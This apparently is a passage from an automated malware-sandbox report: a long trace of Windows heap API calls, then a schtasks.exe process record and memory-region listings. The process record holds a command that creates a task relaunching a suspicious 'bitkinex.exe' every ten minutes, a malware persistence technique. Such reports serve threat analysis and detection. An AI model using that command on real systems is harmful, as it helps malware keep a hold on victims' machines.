returned 0x20 [0061.284] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ea0 | out: hHeap=0x200000) returned 1 [0061.284] GetProcessHeap () returned 0x200000 [0061.284] GetProcessHeap () returned 0x200000 [0061.284] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bd90) returned 1 [0061.284] GetProcessHeap () returned 0x200000 [0061.284] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bd90) returned 0x208 [0061.285] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bd90 | out: hHeap=0x200000) returned 1 [0061.285] GetProcessHeap () returned 0x200000 [0061.285] GetProcessHeap () returned 0x200000 [0061.285] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbf0) returned 1 [0061.285] GetProcessHeap () returned 0x200000 [0061.285] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bbf0) returned 0x18 [0061.285] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbf0 | out: hHeap=0x200000) returned 1 [0061.285] GetProcessHeap () returned 0x200000 [0061.285] GetProcessHeap () returned 0x200000 [0061.285] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215db0) returned 1 [0061.285] GetProcessHeap () returned 0x200000 [0061.285] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215db0) returned 0x20 [0061.286] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215db0 | out: hHeap=0x200000) returned 1 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d440) returned 1 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d440) returned 0x200 [0061.286] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d440 | out: hHeap=0x200000) returned 1 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc30) returned 1 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bc30) returned 0x18 [0061.286] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc30 | out: hHeap=0x200000) returned 1 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] GetProcessHeap () returned 0x200000 [0061.286] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215d20) returned 1 [0061.286] GetProcessHeap () returned 0x200000 [0061.287] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215d20) returned 0x20 [0061.287] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215d20 | out: hHeap=0x200000) returned 1 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3a0) returned 1 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3a0) returned 0x14 [0061.287] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3a0 | out: hHeap=0x200000) returned 1 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c380) returned 1 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c380) returned 0x18 [0061.287] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c380 | out: hHeap=0x200000) returned 1 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c60) returned 1 [0061.287] GetProcessHeap () returned 0x200000 [0061.287] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c60) returned 0x20 [0061.288] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c60 | out: hHeap=0x200000) returned 1 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3c0) returned 1 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3c0) returned 0x16 [0061.288] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3c0 | out: hHeap=0x200000) returned 1 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c240) returned 1 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c240) returned 0x18 [0061.288] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c240 | out: hHeap=0x200000) returned 1 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30) returned 1 [0061.288] GetProcessHeap () returned 0x200000 [0061.288] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c30) returned 0x20 [0061.289] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30 | out: hHeap=0x200000) returned 1 [0061.289] GetProcessHeap () returned 0x200000 [0061.289] GetProcessHeap () returned 0x200000 [0061.289] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb70) returned 1 [0061.289] GetProcessHeap () returned 0x200000 [0061.289] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb70) returned 0x2 [0061.289] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb70 | out: hHeap=0x200000) returned 1 [0061.289] GetProcessHeap () returned 0x200000 [0061.289] GetProcessHeap () returned 0x200000 [0061.289] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80) returned 1 [0061.289] GetProcessHeap () returned 0x200000 [0061.289] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a80) returned 0x20 [0061.290] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80 | out: hHeap=0x200000) returned 1 [0061.290] GetProcessHeap () returned 0x200000 [0061.290] GetProcessHeap () returned 0x200000 [0061.290] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0) returned 1 [0061.290] GetProcessHeap () returned 0x200000 [0061.290] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ab0) returned 0x20 [0061.290] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0 | out: hHeap=0x200000) returned 1 [0061.290] GetProcessHeap () returned 0x200000 [0061.290] GetProcessHeap () returned 0x200000 [0061.290] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0) returned 1 [0061.290] GetProcessHeap () returned 0x200000 [0061.290] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ae0) returned 0x20 [0061.291] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0 | out: hHeap=0x200000) returned 1 [0061.291] GetProcessHeap () returned 0x200000 [0061.291] GetProcessHeap () returned 0x200000 [0061.291] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10) returned 1 [0061.291] GetProcessHeap () returned 0x200000 [0061.291] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b10) returned 0x20 [0061.291] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10 | out: hHeap=0x200000) returned 1 [0061.291] GetProcessHeap () returned 0x200000 [0061.291] GetProcessHeap () returned 0x200000 [0061.291] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd00) returned 1 [0061.291] GetProcessHeap () returned 0x200000 [0061.291] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd00) returned 0x20 [0061.292] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd00 | out: hHeap=0x200000) returned 1 [0061.292] GetProcessHeap () returned 0x200000 [0061.292] GetProcessHeap () returned 0x200000 [0061.292] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7e0) returned 1 [0061.292] GetProcessHeap () returned 0x200000 [0061.292] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d7e0) returned 0xa [0061.292] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7e0 | out: hHeap=0x200000) returned 1 [0061.292] GetProcessHeap () returned 0x200000 [0061.292] GetProcessHeap () returned 0x200000 [0061.292] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd30) returned 1 [0061.292] GetProcessHeap () returned 0x200000 [0061.292] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd30) returned 0x20 [0061.293] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd30 | out: hHeap=0x200000) returned 1 [0061.293] GetProcessHeap () returned 0x200000 [0061.293] GetProcessHeap () returned 0x200000 [0061.293] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x217c10) returned 1 [0061.293] GetProcessHeap () returned 0x200000 [0061.293] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x217c10) returned 0x30 [0061.293] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x217c10 | out: hHeap=0x200000) returned 1 [0061.293] GetProcessHeap () returned 0x200000 [0061.293] GetProcessHeap () returned 0x200000 [0061.293] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd60) returned 1 [0061.293] GetProcessHeap () returned 0x200000 [0061.293] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd60) returned 0x20 [0061.294] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd60 | out: hHeap=0x200000) returned 1 [0061.294] GetProcessHeap () returned 0x200000 [0061.294] GetProcessHeap () returned 0x200000 [0061.294] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x217c50) returned 1 [0061.294] GetProcessHeap () returned 0x200000 [0061.294] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x217c50) returned 0x30 [0061.295] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x217c50 | out: hHeap=0x200000) returned 1 [0061.295] GetProcessHeap () returned 0x200000 [0061.295] GetProcessHeap () returned 0x200000 [0061.295] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40) returned 1 [0061.295] GetProcessHeap () returned 0x200000 [0061.295] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf40) returned 0x20 [0061.296] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40 | out: hHeap=0x200000) returned 1 [0061.296] GetProcessHeap () returned 0x200000 [0061.296] GetProcessHeap () returned 0x200000 [0061.296] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d700) returned 1 [0061.296] GetProcessHeap () returned 0x200000 [0061.296] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d700) returned 0x10 [0061.296] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d700 | out: hHeap=0x200000) returned 1 [0061.296] GetProcessHeap () returned 0x200000 [0061.296] GetProcessHeap () returned 0x200000 [0061.296] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10) returned 1 [0061.296] GetProcessHeap () returned 0x200000 [0061.296] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf10) returned 0x20 [0061.297] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10 | out: hHeap=0x200000) returned 1 [0061.297] GetProcessHeap () returned 0x200000 [0061.297] GetProcessHeap () returned 0x200000 [0061.297] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d720) returned 1 [0061.297] GetProcessHeap () returned 0x200000 [0061.297] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d720) returned 0x10 [0061.297] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d720 | out: hHeap=0x200000) returned 1 [0061.297] GetProcessHeap () returned 0x200000 [0061.297] GetProcessHeap () returned 0x200000 [0061.297] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0) returned 1 [0061.297] GetProcessHeap () returned 0x200000 [0061.297] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cee0) returned 0x20 [0061.298] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0 | out: hHeap=0x200000) returned 1 [0061.298] GetProcessHeap () returned 0x200000 [0061.298] GetProcessHeap () returned 0x200000 [0061.298] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d740) returned 1 [0061.298] GetProcessHeap () returned 0x200000 [0061.298] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d740) returned 0xe [0061.298] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d740 | out: hHeap=0x200000) returned 1 [0061.298] GetProcessHeap () returned 0x200000 [0061.298] GetProcessHeap () returned 0x200000 [0061.298] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0) returned 1 [0061.298] GetProcessHeap () returned 0x200000 [0061.299] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ceb0) returned 0x20 [0061.299] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0 | out: hHeap=0x200000) returned 1 [0061.299] GetProcessHeap () returned 0x200000 [0061.299] GetProcessHeap () returned 0x200000 [0061.299] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760) returned 1 [0061.299] GetProcessHeap () returned 0x200000 [0061.299] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d760) returned 0x16 [0061.299] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760 | out: hHeap=0x200000) returned 1 [0061.299] GetProcessHeap () returned 0x200000 [0061.300] GetProcessHeap () returned 0x200000 [0061.300] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80) returned 1 [0061.300] GetProcessHeap () returned 0x200000 [0061.300] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce80) returned 0x20 [0061.300] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80 | out: hHeap=0x200000) returned 1 [0061.302] GetProcessHeap () returned 0x200000 [0061.302] GetProcessHeap () returned 0x200000 [0061.302] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780) returned 1 [0061.302] GetProcessHeap () returned 0x200000 [0061.302] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d780) returned 0x16 [0061.302] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780 | out: hHeap=0x200000) returned 1 [0061.302] GetProcessHeap () returned 0x200000 [0061.302] GetProcessHeap () returned 0x200000 [0061.302] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50) returned 1 [0061.302] GetProcessHeap () returned 0x200000 [0061.302] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce50) returned 0x20 [0061.302] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50 | out: hHeap=0x200000) returned 1 [0061.302] GetProcessHeap () returned 0x200000 [0061.303] GetProcessHeap () returned 0x200000 [0061.303] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x239e60) returned 1 [0061.303] GetProcessHeap () returned 0x200000 [0061.303] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x239e60) returned 0x82 [0061.303] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x239e60 | out: hHeap=0x200000) returned 1 [0061.303] GetProcessHeap () returned 0x200000 [0061.303] GetProcessHeap () returned 0x200000 [0061.303] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20) returned 1 [0061.303] GetProcessHeap () returned 0x200000 [0061.303] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce20) returned 0x20 [0061.303] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20 | out: hHeap=0x200000) returned 1 [0061.303] GetProcessHeap () returned 0x200000 [0061.303] GetProcessHeap () returned 0x200000 [0061.303] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7c0) returned 1 [0061.304] GetProcessHeap () returned 0x200000 [0061.304] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d7c0) returned 0xe [0061.304] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7c0 | out: hHeap=0x200000) returned 1 [0061.304] GetProcessHeap () returned 0x200000 [0061.304] GetProcessHeap () returned 0x200000 [0061.304] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0) returned 1 [0061.304] GetProcessHeap () returned 0x200000 [0061.304] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cdf0) returned 0x20 [0061.304] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0 | out: hHeap=0x200000) returned 1 [0061.304] GetProcessHeap () returned 0x200000 [0061.304] GetProcessHeap () returned 0x200000 [0061.304] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90) returned 1 [0061.304] GetProcessHeap () returned 0x200000 [0061.304] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb90) returned 0x18 [0061.304] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90 | out: hHeap=0x200000) returned 1 [0061.304] GetProcessHeap () returned 0x200000 [0061.305] GetProcessHeap () returned 0x200000 [0061.305] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40) returned 1 [0061.305] GetProcessHeap () returned 0x200000 [0061.305] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b40) returned 0x20 [0061.305] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40 | out: hHeap=0x200000) returned 1 [0061.305] GetProcessHeap () returned 0x200000 [0061.305] GetProcessHeap () returned 0x200000 [0061.305] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70) returned 1 [0061.305] GetProcessHeap () returned 0x200000 [0061.305] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b70) returned 0x20 [0061.306] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70 | out: hHeap=0x200000) returned 1 [0061.306] GetProcessHeap () returned 0x200000 [0061.306] GetProcessHeap () returned 0x200000 [0061.306] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0) returned 1 [0061.306] GetProcessHeap () returned 0x200000 [0061.306] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ba0) returned 0x20 [0061.306] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0 | out: hHeap=0x200000) returned 1 [0061.306] GetProcessHeap () returned 0x200000 [0061.306] GetProcessHeap () returned 0x200000 [0061.306] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0) returned 1 [0061.306] GetProcessHeap () returned 0x200000 [0061.306] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215bd0) returned 0x20 [0061.307] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0 | out: hHeap=0x200000) returned 1 [0061.307] GetProcessHeap () returned 0x200000 [0061.307] GetProcessHeap () returned 0x200000 [0061.307] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbb0) returned 1 [0061.307] GetProcessHeap () returned 0x200000 [0061.307] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bbb0) returned 0x18 [0061.307] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbb0 | out: hHeap=0x200000) returned 1 [0061.307] GetProcessHeap () returned 0x200000 [0061.307] GetProcessHeap () returned 0x200000 [0061.307] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00) returned 1 [0061.307] GetProcessHeap () returned 0x200000 [0061.307] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c00) returned 0x20 [0061.307] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00 | out: hHeap=0x200000) returned 1 [0061.308] GetProcessHeap () returned 0x200000 [0061.308] GetProcessHeap () returned 0x200000 [0061.308] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c90) returned 1 [0061.308] GetProcessHeap () returned 0x200000 [0061.308] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c90) returned 0x20 [0061.308] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c90 | out: hHeap=0x200000) returned 1 [0061.308] GetProcessHeap () returned 0x200000 [0061.308] GetProcessHeap () returned 0x200000 [0061.308] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215cf0) returned 1 [0061.308] GetProcessHeap () returned 0x200000 [0061.308] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215cf0) returned 0x20 [0061.309] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215cf0 | out: hHeap=0x200000) returned 1 [0061.309] GetProcessHeap () returned 0x200000 [0061.309] GetProcessHeap () returned 0x200000 [0061.309] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215d50) returned 1 [0061.309] GetProcessHeap () returned 0x200000 [0061.309] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215d50) returned 0x20 [0061.309] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215d50 | out: hHeap=0x200000) returned 1 [0061.309] GetProcessHeap () returned 0x200000 [0061.309] GetProcessHeap () returned 0x200000 [0061.309] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215d80) returned 1 [0061.309] GetProcessHeap () returned 0x200000 [0061.309] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215d80) returned 0x20 [0061.310] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215d80 | out: hHeap=0x200000) returned 1 [0061.310] GetProcessHeap () returned 0x200000 [0061.310] GetProcessHeap () returned 0x200000 [0061.310] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbd0) returned 1 [0061.310] GetProcessHeap () returned 0x200000 [0061.310] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bbd0) returned 0x18 [0061.310] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbd0 | out: hHeap=0x200000) returned 1 [0061.310] GetProcessHeap () returned 0x200000 [0061.310] GetProcessHeap () returned 0x200000 [0061.310] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215cc0) returned 1 [0061.310] GetProcessHeap () returned 0x200000 [0061.310] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215cc0) returned 0x20 [0061.311] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215cc0 | out: hHeap=0x200000) returned 1 [0061.311] GetProcessHeap () returned 0x200000 [0061.311] GetProcessHeap () returned 0x200000 [0061.311] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb50) returned 1 [0061.311] GetProcessHeap () returned 0x200000 [0061.311] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb50) returned 0x18 [0061.311] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb50 | out: hHeap=0x200000) returned 1 [0061.311] exit (_Code=0) Thread: id = 107 os_tid = 0xf08 Process: id = "14" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3fa0b000" os_pid = "0xf0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1978 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1979 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1980 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1981 start_va = 0x180000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1982 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1983 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1984 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1985 start_va = 0xffe10000 end_va = 0xffe57fff monitored = 1 entry_point = 0xffe3966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1986 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1987 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1988 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1989 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1990 start_va = 0x200000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1991 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1992 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1993 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1994 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1995 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1996 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1997 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = 